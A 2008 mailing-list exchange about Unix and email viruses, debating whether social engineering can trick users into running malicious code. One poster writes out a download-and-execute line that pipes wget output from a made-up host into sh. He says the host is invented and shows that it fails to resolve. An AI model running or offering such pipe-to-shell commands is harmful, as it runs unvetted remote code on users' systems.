Re: unix and email viruses
On Mon, Mar 03, 2008 at 12:08:37PM +0200, Dotan Cohen wrote:
> On 03/03/2008, Tzafrir Cohen <firstname.lastname@example.org> wrote:
> > On Mon, Mar 03, 2008 at 08:56:35AM +0200, Dotan Cohen wrote:
> > > It's called social engineering.
> > > """want free porn?!? compile this!"""
> > >
> > > You'd be surprised how many Windows users install .exes with the hope
> > > of seeing some free porn.
> > Compile?
> > wget http://pr0n.sh/ | sh
> Should I like, not click that?
> Seriously, though, if you are posting malicious links, please mark
> them as such. Some poor archive browsers might stumble upon that and
> find himself in trouble.
I have just made up that address. I also generally trust the robustness
of my tools (e.g: my browser).
However, you don't have to trust anything:
$ GET http://pr0n.sh
500 Can't connect to pr0n.sh:80 (Bad hostname 'pr0n.sh')
But I have not made up that method. It has been used for legitimate
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